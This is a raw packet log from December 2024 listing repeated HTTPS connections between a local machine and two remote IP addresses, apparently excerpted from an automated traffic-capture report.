Dec 30, 2024 11:37:10.979959965 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.979974031 CET	443	50296	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.980201006 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.980206966 CET	443	50296	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.041836977 CET	443	50297	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.042104959 CET	50297	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.042577028 CET	50297	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.042584896 CET	443	50297	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.042835951 CET	50297	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.042850018 CET	443	50297	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.069698095 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.069905043 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.070529938 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.070529938 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.070537090 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.070544958 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.241503000 CET	443	50304	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.241586924 CET	50304	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.295053959 CET	50304	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.295066118 CET	443	50304	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.295295954 CET	50304	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.295319080 CET	443	50304	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.344603062 CET	443	50296	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.344753981 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.344810963 CET	443	50296	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.344863892 CET	443	50296	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.344902992 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.349664927 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.349673986 CET	443	50296	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.349683046 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.349729061 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.350359917 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.350375891 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.350455046 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.350718021 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.350730896 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.419410944 CET	443	50297	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.419483900 CET	50297	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.420048952 CET	50297	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.420105934 CET	443	50297	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.420170069 CET	50297	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.420593977 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.420641899 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.420694113 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.421212912 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.421226025 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.475692987 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.475749969 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.475806952 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.475806952 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.475817919 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.475868940 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.475907087 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.475924969 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.476563931 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.476574898 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.477006912 CET	50313	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.477055073 CET	443	50313	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.477257013 CET	50313	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.477426052 CET	50313	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.477456093 CET	443	50313	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.647747993 CET	443	50304	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.647784948 CET	443	50304	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.647931099 CET	443	50304	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.648114920 CET	50304	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.680597067 CET	50304	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.680620909 CET	443	50304	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.681076050 CET	50314	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.681121111 CET	443	50314	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.681258917 CET	50314	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.681494951 CET	50314	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:11.681504965 CET	443	50314	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:11.974481106 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.974595070 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.975307941 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.975368977 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.996151924 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.996185064 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.996505976 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:11.996568918 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:11.997152090 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.025791883 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.025856018 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.027822018 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.028059006 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.030091047 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.030100107 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.030903101 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.030968904 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.031372070 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.039336920 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.075814962 CET	443	50313	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.075896025 CET	50313	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.076930046 CET	50313	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.076945066 CET	443	50313	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.079335928 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.080192089 CET	50313	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.080204010 CET	443	50313	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.302118063 CET	443	50314	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.302284002 CET	50314	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.307857037 CET	50314	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.307869911 CET	443	50314	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.308132887 CET	50314	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.308136940 CET	443	50314	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.355580091 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.355690002 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.355726004 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.355849028 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.356008053 CET	443	50310	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.356009007 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.356053114 CET	50310	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.356785059 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.356832027 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.356892109 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.357208014 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.357223988 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.399175882 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.399241924 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.399264097 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.399323940 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.399482012 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.399538040 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.399646997 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.406163931 CET	50311	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.406188011 CET	443	50311	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.406788111 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.406836033 CET	443	50323	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.407006979 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.407466888 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.407483101 CET	443	50323	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.491581917 CET	443	50313	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.491631985 CET	443	50313	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.491739035 CET	443	50313	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.491894960 CET	50313	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.528192997 CET	50313	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.528290033 CET	50314	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.540766001 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.540836096 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.540919065 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.607916117 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.607944965 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.681444883 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.681493044 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.681626081 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.682976007 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:12.682996988 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:12.956813097 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.956893921 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.958904028 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.958913088 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:12.959074020 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:12.959079027 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.006949902 CET	443	50323	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.007061005 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.012689114 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.012703896 CET	443	50323	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.012871027 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.012875080 CET	443	50323	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.226818085 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.226895094 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.229876995 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.229891062 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.230053902 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.230060101 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.282412052 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.282561064 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.282897949 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.282908916 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.283049107 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.283056021 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.330254078 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.330419064 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.330441952 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.330512047 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.331196070 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.331243038 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.331317902 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.338684082 CET	50322	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.338709116 CET	443	50322	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.339200020 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.339257002 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.339323044 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.339555979 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.339566946 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.379887104 CET	443	50323	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.379971027 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.379997969 CET	443	50323	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.380043030 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.380369902 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.380423069 CET	443	50323	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.380476952 CET	50323	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.381098032 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.381146908 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.381239891 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.381496906 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.381506920 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.656620979 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.656661987 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.656702995 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.656737089 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.656752110 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.656780958 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.656790018 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.656852007 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.656903982 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.657654047 CET	50324	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.657670975 CET	443	50324	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.665004969 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.665051937 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.665225029 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.667093992 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.667113066 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.823127985 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.823205948 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.823244095 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.823273897 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.823285103 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.823373079 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.823457003 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.824080944 CET	50325	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.824099064 CET	443	50325	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.825089931 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.825144053 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.825220108 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.825473070 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:13.825490952 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:13.966779947 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.966852903 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.967601061 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.967645884 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.971323967 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.971333981 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.971585035 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.971728086 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.972141027 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.981439114 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.981606007 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.982244968 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.982311964 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.983939886 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.983952999 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.984271049 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:13.984394073 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:13.984678984 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.019337893 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.031326056 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.266315937 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.266525030 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.267059088 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.267069101 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.269244909 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.269248962 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.342850924 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.342926979 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.342938900 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.343009949 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.343111992 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.343137026 CET	443	50331	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.343226910 CET	50331	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.343717098 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.343745947 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.343800068 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.344038010 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.344047070 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.352233887 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.352324963 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.352353096 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.352490902 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.352608919 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.352643013 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.352809906 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.352809906 CET	443	50332	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.352828979 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.353090048 CET	50332	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.353950024 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.353986025 CET	443	50346	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.354669094 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.354749918 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.354758978 CET	443	50346	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.424400091 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.424475908 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.429549932 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.429564953 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.429846048 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.429853916 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.672943115 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.672983885 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.673031092 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.673116922 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.673142910 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.673165083 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.673166037 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.673212051 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.673943996 CET	50338	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.673978090 CET	443	50338	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.677158117 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.677215099 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.677278042 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.677840948 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.677855015 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.825316906 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.825361967 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.825362921 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.825392962 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.825407982 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.825433016 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.825771093 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.825812101 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.825825930 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.825861931 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.839883089 CET	50339	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.839912891 CET	443	50339	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.840326071 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.840365887 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.840426922 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.840619087 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:14.840632915 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:14.946866035 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.946945906 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.947674990 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.947721958 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.950563908 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.950576067 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.950862885 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.950917959 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.951133013 CET	443	50346	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.951198101 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.952023029 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.952054977 CET	443	50346	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.952100992 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.975140095 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.975161076 CET	443	50346	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.975457907 CET	443	50346	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:14.975529909 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.975940943 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:14.995330095 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.019367933 CET	443	50346	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.277345896 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.278532982 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.316056967 CET	443	50346	142.250.186.142	192.168.2.4
